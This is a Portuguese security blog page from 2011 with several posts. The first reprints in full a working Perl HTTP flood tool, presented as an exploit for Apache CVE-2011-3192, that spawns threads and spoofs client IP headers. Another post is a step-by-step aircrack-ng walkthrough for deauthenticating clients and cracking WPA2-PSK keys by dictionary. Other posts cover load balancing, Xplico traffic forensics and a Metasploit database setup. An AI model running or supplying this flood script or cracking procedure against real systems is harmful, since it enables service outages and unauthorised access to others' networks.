quinta-feira, 1 de setembro de 2011

Apache < 2.2.20 vulneravel a DoS (CVE-2011-3192)


O servidor web Apache versões abaixo da 2.2.20 esta vulneravel a DoS (multiple ranges DoS). Esta vulnerabilidade tem o CVE ID CVE-2011-3192. Já foi publicado um simples código em perl que explora essa vulnerabilidade, consumindo CPU e memória do servidor.

Segue abaixo o código em perl para explorar essa vulnerabilidade:


# HTTPKiller - FHTTP Kit by Xianur0
# Copyright (C) 2011 Oscar García López (http://hackingtelevision.blogspot.com)
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see .
#  
#    xianur0.null@gmail.com
#    http://hackingtelevision.blogspot.com/

package control;

my $ip;


sub new {
    my ($class,$i) = @_;
    $ip = $i;
    my $self={};
    $ip = $i;
    bless $self, $class;
    return $self;
}

sub mas {
my ($self,$veces) = @_;
$veces = 1 if($veces eq "");
my ($a,$e,$o,$b) = split(/\./,$ip);
for($as=0;$as<$veces;$as++) {
$b++;
if($b>=255) {$b=0;$o++;}
if($o>=255) {$o=0;$e++;}
if($e>=255) {$e=0;$a++;}
die("No mas IPs!\n") if($a>=255);
}
$ip = join "",$a,".",$e,".",$o,".",$b;
return $ip;
}

1;

package main;

use Socket;
use IO::Socket::INET;
use threads ('yield',
'exit' => 'threads_only',
'stringify');
use threads::shared;

my $ua = "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0";
my $method = "HEAD";
my $hilo;
my @vals = ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
my $randsemilla = "";
for($i = 0; $i < 30; $i++) {
$randsemilla .= $vals[int(rand($#vals))];
}
sub socker {
my ($remote,$port) = @_;
my ($iaddr, $paddr, $proto);
$iaddr = inet_aton($remote) || return false;
$paddr = sockaddr_in($port, $iaddr) || return false;
$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto);
connect(SOCK, $paddr) || return false;
return SOCK;
}


sub sender {
my ($max,$puerto,$host,$file) = @_;
my $sock;
while(true) {
my $paquete = "";
$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $puerto, Proto => 'tcp');
unless($sock) {
print "\n[x] Unable to connect...\n\n";
sleep(1);
next;
}
for($i=0;$i<$porconexion;$i++) {
$ipinicial = $sumador->mas();
my $filepath = $file;
$filepath =~ s/(\{mn\-fakeip\})/$ipinicial/g;
$paquete .= join "",$method," /",$filepath," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nCLIENT-IP: ",$ipinicial,"\r\nX-Forwarded-For: ",$ipinicial,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
}
$paquete =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
print $sock $paquete;
}
}

sub sender2 {
my ($puerto,$host,$paquete) = @_;
my $sock;
my $sumador :shared;
while(true) {
$sock = &socker($host,$puerto);
unless($sock) {
print "\n[x] Unable to connect...\n\n";
next;
}
print $sock $paquete;
}
}

sub comenzar {
$SIG{'KILL'} = sub { print "Killed...\n"; threads->exit(); };
$url = $ARGV[0];
print "URL: ".$url."\n";
$max = $ARGV[1];
$porconexion = $ARGV[2];
$ipfake = $ARGV[3];
if($porconexion < 1) {
print "[-]Invalid arg 3...\n";
exit;
}
if($url !~ /^http:\/\//) {
die("[x] Invalid URL!\n");
}
$url .= "/" if($url =~ /^http?:\/\/([\d\w\:\.-]*)$/);
($host,$file) = ($url =~ /^http?:\/\/(.*?)\/(.*)/);
$puerto = 80;
($host,$puerto) = ($host =~ /(.*?):(.*)/) if($host =~ /(.*?):(.*)/);
$file =~ s/\s/%20/g;
print join "","[!] Launching ",$max," threads!\n";
$file = "/".$file if($file !~ /^\//);
print join "","Target: ",$host,":",$puerto,"\nPath: ",$file,"\n\n";
# entonces toca un paquete unico, no tiene caso que se genere por cada hilo :)...
if($ipfake eq "") {
# envio repetitivo
my $paquetebase = join "",$method," /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
$paquetesender = "";
$paquetesender = $paquetebase x $porconexion;
$paquetesender =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
for($v=0;$v<$max;$v++) {
$thr[$v] = threads->create('sender2', ($puerto,$host,$paquetesender));
}
} else {
# envio con ip...
$sumador = control->new($ipfake);
for($v=0;$v<$max;$v++) {
$thr[$v] = threads->create('sender', ($porconexion,$puerto,$host,$file));
}
}
print "[-] Launched!\n";
for($v=0;$v<$max;$v++) {
if ($thr[$v]->is_running()) {
sleep(3);
$v--;
}
}
print "Fin!\n";
}


if($#ARGV > 2) {
comenzar();
} else {
die("Use: mn.pl [url] [Connections] [Requests per connection] [Initial false IP (optional)]\n");
}

Tenha consciência dos seus atos.

by Osvaldo




Load Balancing Apache Server

Os vídeos e posts do Network NUTS são excelentes, já sou fã desses caras. Segue um vídeo interessante sobre Load Balancing.



Take this - I have more than one APACHE server. I I want to have load balancing between my apache servers. So whenever a HTTP/HTTPS request comes in, the request should be forwarded to all apache servers in a distributed manner. And also I want to hide my apache server IP from Internet and Intranet. 

How to do this?

Welcome - POUND.

1. Pound is a reverse proxy load balancing server. 

2. It takes the request from HTTP/HTTPS clients and distribute them to one or more web servers.

3. It can detect when the backend server (actual apache server) fails / recovered and take decision accordingly.

4. Priority can be set. Default is 5. Range is 1 - 9. 

5. Higher priority servers are used more.

Consider this picture:


pound .jpeg
Pound Gateway used for Load Balancing between Apache Servers


Here I want my Pound Gateway running on 172.24.0.254 should distribute the HTTP/HTTPS requests to two hidden APACHE servers running on 172.24.0.10 and 172.24.0.11 and further I want more requests to be catered by 172.24.0.10 as it is having a better hardware as compared to 172.24.0.11.

STEP #1 - Install Pound on 172.24.0.254 - You can easily download "pound" from Internet.

STEP #2 - Configure the main configuration file for pound "/etc/pound.cfg", as shown:


pound2.jpeg
Pound configuration showing load balancing between two apache servers.


STEP #3 - After the configuration is done, just restart the "pound" service.


Enjoy.

God Bless.


by alok on Mon Apr 05, 2010 11:36 am


fonte: http://networknuts.net/forum/viewtopic.php?f=3&t=256&sid=e0fbdbf9c21050d0392192c987e7b6d9


terça-feira, 30 de agosto de 2011

Explorando senhas fracas com o protocolo WPA2 usando o aircrack-ng

Angelo Mota Barbosa, Manoel Davi da Costa Meireles e Osvaldo Holanda Peixoto.

Resumo.  A segurança nas redes sem fio ainda é encarada como um requisito passivo a questionamento, e medidas abordadas para garantir a integridade das informações estão sendo gradativamente aplicadas, dentre elas dá-se uma atenção especial para os protocolos WEP (Wired Equivalency Privacy), WPA/WPA2 (Wi-Fi Protected Access), apesar de alguns destes protocolos já terem suas falhas conhecidas ainda sim, devem ser aplicados como mais uma alternativa de segurança. Este estudo teórico e prático pretende realizar uma análise sobre a vulnerabilidade do protocolo de encriptação do WPA, analisando seus paradigmas e suas diferenças.

1.      INTRODUÇÃO

O padrão WPA (Wi-Fi Protected Access) é o sucessor do protocolo WEP. Desenvolvido pela Wi-Fi Alliance, serviu como uma correção temporária para as vulnerabilidades conhecidas no WEP até o IEEE disponibilizar o padrão 802.11i (WPA2).

O 802.11i é o padrão IEEE oficial, que incorpora as correções implementadas no WPA para as vulnerabilidades do WEP e outros mecanismos de autenticação para proteger ainda mais as redes sem fio.

A maior diferença entre o WPA2 e WPA é o tipo de criptografia usado, onde no WPA2 usa-se AES e RC4 no WPA, e o protocolo utilizado para a confidencialidade e integridade, onde no WPA2 usa-se CCMP e TKIP no WPA.

Tanto o WPA como o WPA2 podem ser executados no modo home ou enterprise. Modo home significa que o AP e todos os clientes estão usando uma chave pré-compartilhada (PSK), já no modo enterprise significa que a organização está usando um servidor RADIUS para autenticação. Apesar do nome (enterprise, significa empresa em português), muitas empresas usam o modo PSK (home), porque é muito mais fácil de implantar.

Neste artigo estaremos mostrando como é possível atacar uma rede sem fio que esteja usando o protocolo WPA2-PSK com a utilização de um dicionário. É possível usar também o John The Ripper para quebrar a senha, mas para este artigo estaremos abordando a utilização de um dicionário com o pacote de ferramenta aircrack-ng.

Iremos utilizar o BackTrack -  distribuição com foco em testes de segurança e testes de penetração – que já vem com a suíte de ferramenta aircrack-ng no repositório oficial da distro.

Quando se trata de WPA/WPA2 a chave pré-compartilhada pode ser de 8 a 63 caracteres de comprimento, com isso torna-se quase “impossível” para quebrar essa chave, dificultando ainda mais se essa chave for composta de símbolos especiais. A única vez que você pode quebrar a chave pré-compartilhada é se a mesma for uma palavra de dicionário ou relativamente curto de comprimento. Neste artigo não estaremos considerando o tamanho e nem a complexidade da chave, já que a mesma pertence ao nosso dicionário, sendo assim não fazendo diferença se a chave é “minharede” ou “Mi@nH@r$d&”.

Para que possamos disparar um ataque com base em dicionário é necessário primeiramente capturar o que chamamos de four-way handshake entre o cliente e o AP. O objetivo do four-way handshake é autenticar o cliente e o ponto de acesso, onde o processo de autenticação é realizado durante o four-way handshake.

O que é preciso para este ataque?

- sua placa de rede sem fio possa injetar pacotes
- capturar 4 way handshake
- usar o aircrack-ng

Passo 1: Configurando no Modo Monitor

Para que você possa injetar pacotes é necessário que a placa de rede sem fio esteja no modo Monitor, para isso estaremos usando o comando airmon-ng, veja a figura abaixo:


Veja que foi detectado a placa de rede wlan0, agora precisamos colocar nossa placa em modo Monitor, para isso execute o comando conforme mostra a figura abaixo:



Veja que o airmon-ng criou uma nova placa chamada mon0 e esta por sua vez esta no modo Monitor, é essa placa que iremos usar a partir deste momento.

Passo 2: Listando as redes sem fio ao alcance

Para que possamos direcionar nosso ataque precisamos coletar algumas informações que são de extrema importância como o BSSID (endereço MAC do AP), CH (canal sendo usado), ESSID (nome da rede) e o STATION (endereço MAC do cliente). O comando airodump-ng serve para capturar pacotes de rede sem fio para que possa ser usado posteriormente com o aircrack-ng ou outra ferramenta do tipo. O  comando abaixo permite que analisemos somente o tráfego que esteja usando WPA:
  
#airodump-ng --encrypt wpa mon0



Dica:

Para agilizar o ataque podemos salvar todas essas informações como variáveis de ambiente, digamos que coletamos as informações abaixo na saída do airodump-ng:

BSSID=00:18:6e:9b:d9:80
STATION=00:11:22:33:44:55
ESSID=linksys

Vamos criar um script em shell e executaremos esse script toda vez que abrirmos um terminal, veja o script abaixo que chamamos de variaveis.sh:
#!/bin/bash
export BSSID=00:18:6e:9b:d9:80
export STATION=00:11:22:33:44:55
export ESSID=linksys

Com isso o comando: aireplay-ng -1 0 -a 00:18:6e:9b:d9:80 -h 00:11:22:33:44:55 -e linksys mon0

Poderia ser executado desta forma: aireplay-ng -1 0 -a $BSSID -h $STATION -e $ESSID mon0

Passo 3: Capturando 4 way handshake

Como dito anteriormente é necessário capturar o que chamamos de 4 way handshake entre o cliente e o AP e salvar em um arquivo para que depois possa ser usado pelo aircrack-ng. O comando a seguir salvara todo o tráfego entre o cliente e o AP no arquivo que chamaremos de psk-handshake.cap:

# airodump-ng -w psk-handshake.cap -c 6 --bssid $BSSID mon0



Precisamos forçar o cliente a se autenticar novamente para que possamos com isso capturar o 4 way handshake. Abra um novo terminal, não feche o terminal que esta rodando o comando anterior, vamos usar o comando aireplay-ng para isso, veja a figura abaixo:


Passo 4: Time to crack

Temos o nosso arquivo com o 4 way handshake (psk-handshake.cap), agora precisamos de um dicionário para usar com o aircrack-ng. Vamos criar um dicionário simples com 10 palavras, sendo que uma dessas palavras é a chave. Agora é só executar o comando:

#aircrack-ng psk-handshake.cap -w dicionario


Conclusão

— WEP  protocolo ultrapassado;
— WPA corrige vulnerabilidade do WEP;
— WPA2 (802.11i) versão Oficial da Wifi Alliance;
— Senhas fracas, é possivel quebrar no WPA2;
— Use WPA2 com senhas fortes;
— Variedades de ferramentas para quebrar o WPA2
aircrack-ng
coWPAtty



REFRENCIA








Análise de Tráfego no Xplico utilizando arquivo pcap gerado pelo tcpdump

Artigo sobre: Análise de Tráfego no Xplico utilizando arquivo pcap gerado pelo tcpdump



Angelo Mota Barbosa, Davi Meirelles e Osvaldo Holanda Peixoto.

Resumo. Este artigo apresenta uma análise previa do tráfego de uma rede de computadores usando Xplico com um arquivo salvo anteriormente utilizando a ferramenta tcpdump. Atualmente, a ferramenta tcpdump não possui uma interface amigável dificultando muito em casos de análise em tráfegos intensos. A utilização do Xplico facilita muito a vida de qualquer administrador de sistemas permitindo por meio de acesso WEB obter e analisar o tráfego que estará dividido por categoria.


1. Introdução
O Xplico extrai de um arquivo pcap ou pode fazer a mesma analise em tempo real informações como: email (POP, IMAP e SMTP), HTTP, VoIP (SIP e RTP), FTP, TFTP etc. Considerado pelos seus desenvolvedores um NFAT -  Network Forensic Analysis Tool e não um analisador de protocolo de rede, vem sobre a licença GPL e é open source. Neste artigo estaremos analisando o tráfego salvo em um arquivo pcap utilizando a ferramenta tcpdump, à análise em tempo real utilizando o Xplico não está em um nível de maturidade aceitável, sendo apenas interessante em um espaço curto de tempo e em redes de pequeno porte, por motivos de demonstração que a equipe de desenvolvedores adicionou essa funcionalidade no Xplico.
O Xplico é um sistema de 4 componentes:

Ø  DeMa: é o gerenciador de decodificação
Ø  Xplico: decodificador IP
Ø  Um conjunto de manipuladores de dados
Ø  Um sistema de visualização dos dados


No site oficial você pode ver os screenshots do XI (Xplico Interface), que é a ferramenta web de visualização do Xplico. Segue abaixo alguns screenshots:






Iremos utilizar o BackTrack -  distribuição com foco em testes de segurança e testes de penetração – que já vem com o Xplico no repositório oficial da distro. O Xplico vem por padrão também na distro Deft que é um live CD para analise forensic.

No BTR2 (BackTrack 4 Release 2) o Xplico já veio instalado, qualquer problema é só usar a ferramenta aptitude para instalar o pacote. Abaixo segue o procedimento para iniciar o Xplico:

1 - Inicie o Apache2
/etc/init.d/apache2 start
2 - Inicie o Xplico
/etc/init.d/xplico start

Obs: o serviço estará escutando na porta 9876 de loopback (127.0.0.1)

Execute o Firefox e coloque como URL: http://127.0.0.1:9876

Por padrão temos dois usuários no sistema para acessar o Xplico: o xplico com senha xplico e o admin com senha xplico. Neste artigo estaremos analisando um arquivo pcap de 30MB, para salvar este arquivo utilizei o comando tcpdump como mostra abaixo:

# tcpdump -i eth0 -vvv -s0 -S -XX -A -w saida.pcap

Vamos logar com o usuário xplico e depois clique em “New Case” como mostra a figura abaixo, isso é necessário pra criar um caso, toda atividade será analisada conforme o caso em questão:


Preencha os campos como mostra na figura e deixe marcada a opção “Uploading PCAP...”. A opção “Live acquisition” permite com que façamos uma analise em tempo real, que não é o caso deste artigo. Clique em “Create” e na próxima tela aparecerá listado os casos criados, clique em “Analise de trafego” e depois em “New Session” e dê um nome para a sessão, no meu caso usei o nome “Analise”, para cada Case você poderá ter várias Session para analisar diversas anomalias em momentos diferentes, depois clique sobre “Analise” e aparecerá como mostra a figura abaixo:


Na aba “Pcap set” você pode fazer o upload do arquivo pcap, porém esta opção suporta por padrão o upload de arquivos de até 2 MB, isso pode ser reconfigurado, se o arquivo for maior do que 2 MB use a opção “SFTP uploading big pcap files”. Coloque o mouse em cima da opção “SFTP uploading big pcap files”, porém não clique em cima, olhe no canto inferior esquerdo o caminho para onde o arquivo será copiado, veja a figura abaixo:


Agora abra o Konqueror no caminho /opt/xplico/pol_1/sol_1/new e copie seu arquivo pcap, espere alguns segundos que o xplico ira decodificar o arquivo e depois carregara todas as informações separadas co por categoria, veja na figura abaixo um resumo feito pelo Xplico depois de decodificar nosso arquivo:


Veja que tudo foi separado por categoria, tornando bem fácil para possíveis analises. Fazendo uma rápida analise no quadro HTTP, percebemos a presença de 29 Posts, 1826 Gets, 4 Vídeos e 958 Imagens. Na aba esquerda podemos ter mais detalhes sobre esses acessos, como: sites visitados, hora e data do acesso, tipo de requisição, se houve tentativa de SQLi ou outro ataque usando URL, entre outros. Vamos analisar com mais detalhes os acessos web, para isso na aba esquerda clique sobre WEB e depois em SITE, veja figura abaixo:


Podemos ver que no dia 17/08/2011 as 11h07min (linha 6) houve uma tentativa de ataque conhecida como LFI e no mesmo dia as 11h06min (linha 9) houve uma tentativa de ataque de SQL injection. Para obter mais informações basta clicar sobre o GET correspondente ou no info.xml. Veja que podemos também filtrar nossa pesquisa conforme interesse, onde temos as opções Image, Flash, Vídeo, Audio, All e Html que é o padrão.

2. Conclusões
O Xplico possui uma funcionalidade muito interessante, a capacidade de extrair de pacotes (.pcap) dados de aplicações de uma forma que qualquer usuário posso ler e entender, Ele é um analisador de protocolos de rede, e uma ferramenta de análise forense (Network Forensic Analysis Tool (NFAT), que é capaz de interpretar quase todos os protocolos mais usados e capturados de forma prática e visual.












sexta-feira, 29 de julho de 2011

Vídeos sobre: Cache, HDD IO, DNS, Postfix e SSH

Alguns vídeos interessantes (Inglês).


Understanding Cache hits and performance issues

Video by Network NUTS, showing the concept of cache-hit, cache-miss, cache-line-fill and determining which application uses the cache in a better manner. As an application that uses cache in a better manner is going to give you a much better working experience and performance.


Calculating HDD IO capacity (BHP)

Video by Network NUTS, shows how to use the little law to calculate the IO capacity of your HDD. Very useful for taking decision on when to change the HDD as it cannot take more load of requests arriving.




DNS Cache and Tuning
Video by Network NUTS, shows how to configure a DNS server for caching, how to configure the cache size, refresh time etc. how to check the DNS query log, how to measure DNS performance and how to configure DNS to use a alternate port for query.







Understanding master.cf of Postfix

Video by Network NUTS, shows and explain the relevant and importance of master.cf file within the postfix environment. The file master.cf is the master daemon that control and launches all other services required by the postfix.



SSH Server Hardening

video by Network NUTS, shows how to harden your ssh server to protect from unwanted intrusion attempts. It also shows the better way to allow SSH login via remote connections.





by Ctrl+C and Ctrl+V


quarta-feira, 6 de julho de 2011

BackTrack5 (BT5) + Metasploit + MySQL standalone server

No BT5 usando o Metasploit3, da um erro quando tentamos conectar com a base de dados. O procedimento abaixo foi tirado do forum do back track:

the purpose of this tutorial is to explain howto setup a standalone mysql server on BT5, and have metasploit connect to it. this is how I am doing it (using ruby1.8 - I have been unsuccessful at getting this to work with ruby 1.9.2 that comes with backtrack5 at this time). later I will update this HOWTO with using rvm, which negates the requirement to switch ruby version manually

root@root:~# apt-get install libmysqlclient-dev
root@root:~# start mysql
mysql start/running, process 3714

root@root:~# mysql -u root -p'toor'
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database pwbv3;
Query OK, 1 row affected (0.00 sec)

mysql> grant usage on *.* to root@localhost identified by 'pass123';
Query OK, 0 rows affected (0.00 sec)

mysql> grant all privileges on pwbv3.* to root@localhost;
Query OK, 0 rows affected (0.00 sec)

mysql> exit
Bye

root@root:~# mysql -u root -p'pass123' pwbv3
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 41
Server version: 5.1.41-3ubuntu12.10 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> quit
Bye

root@root:~# update-alternatives --config ruby
There are 2 choices for the alternative ruby (providing /usr/bin/ruby).

  Selection    Path                Priority   Status
------------------------------------------------------------
  0            /usr/bin/ruby1.8     500       auto mode
  1            /usr/bin/ruby1.8     500       manual mode
* 2            /usr/bin/ruby1.9.2   400       manual mode

Press enter to keep the current choice[*], or type selection number: 0
update-alternatives: using /usr/bin/ruby1.8 to provide /usr/bin/ruby (ruby) in auto mode.

root@root:~# ruby -v
ruby 1.8.7 (2010-01-10 patchlevel 249) [i486-linux]

root@root:~# gem install mysql
root@root:~# ruby1.8 /pentest/exploits/framework3/msfconsole

                _                  _       _ _                                                          
               | |                | |     (_) |                                                          
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_                                                        
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|                                                        
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_                                                        
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|                                                        
                            | |                                                                          
                            |_|                                                                          
                                                                                                         

       =[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > db_driver mysql
[*] Using database driver mysql
msf > db_connect root:pass123@127.0.0.1:3306/pwbv3
msf > db_status
[*] mysql connected to pwbv3
msf > db_nmap -sS -n 192.168.99.133
[*] Nmap: Starting Nmap 5.51 ( http://nmap.org ) at 2011-05-13 17:13 EDT
[*] Nmap: Nmap scan report for 192.168.99.133
[*] Nmap: Host is up (0.00027s latency).
[*] Nmap: Not shown: 998 closed ports
[*] Nmap: PORT    STATE SERVICE
[*] Nmap: 22/tcp  open  ssh
[*] Nmap: 111/tcp open  rpcbind
[*] Nmap: MAC Address: XX:XX:XX:XX:XX:XX (VMware)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.29 seconds
msf > db_hosts
Hosts
=====
address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
192.168.99.133  XX:XX:XX:XX:XX:XX                                                
msf > exit

fonte: http://www.backtrack-linux.org/forums/backtrack-5-experts-section/40584-bt5-metasploit-mysql-standalone-server.html